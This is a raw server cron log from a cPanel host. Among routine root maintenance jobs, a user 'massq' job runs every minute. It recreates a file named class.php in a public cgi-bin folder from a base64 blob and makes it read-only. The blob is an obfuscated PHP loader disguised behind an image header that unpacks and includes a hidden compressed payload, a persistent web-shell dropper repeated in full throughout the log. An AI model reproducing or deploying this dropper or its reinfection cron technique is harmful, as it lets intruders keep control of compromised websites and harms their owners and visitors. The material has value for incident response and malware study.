Sep 11 18:44:01 server CROND[26970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:44:01 server CROND[26969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:44:01 server CROND[26971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:45:01 server CROND[27357]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 18:45:01 server CROND[27360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:45:01 server CROND[27358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:45:01 server CROND[27361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:45:01 server CROND[27364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:45:01 server CROND[27368]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 18:45:01 server CROND[27365]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:46:01 server CROND[28187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:46:01 server CROND[28189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:46:01 server CROND[28190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:47:01 server CROND[28669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:47:01 server CROND[28670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:47:01 server CROND[28672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:48:01 server CROND[29056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:48:01 server CROND[29057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:48:01 server CROND[29058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:49:01 server CROND[29442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:49:01 server CROND[29443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:49:01 server CROND[29444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:50:01 server CROND[29839]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 18:50:01 server CROND[29847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:50:01 server CROND[29850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 18:50:01 server CROND[29849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:50:01 server CROND[29851]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 18:50:01 server CROND[29852]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 18:50:01 server CROND[29854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:50:01 server CROND[29848]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:50:01 server CROND[29853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:51:01 server CROND[30691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:51:01 server CROND[30690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:51:01 server CROND[30692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:52:01 server CROND[31172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:52:01 server CROND[31173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:52:01 server CROND[31174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:53:01 server CROND[31569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:53:01 server CROND[31570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:53:01 server CROND[31571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:54:01 server CROND[31965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:54:01 server CROND[31964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:54:01 server CROND[31966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:55:01 server CROND[32351]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:55:01 server CROND[32352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:55:01 server CROND[32353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:55:01 server CROND[32354]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 18:55:01 server CROND[32355]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 18:55:01 server CROND[32357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:55:01 server CROND[32356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:56:01 server CROND[814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
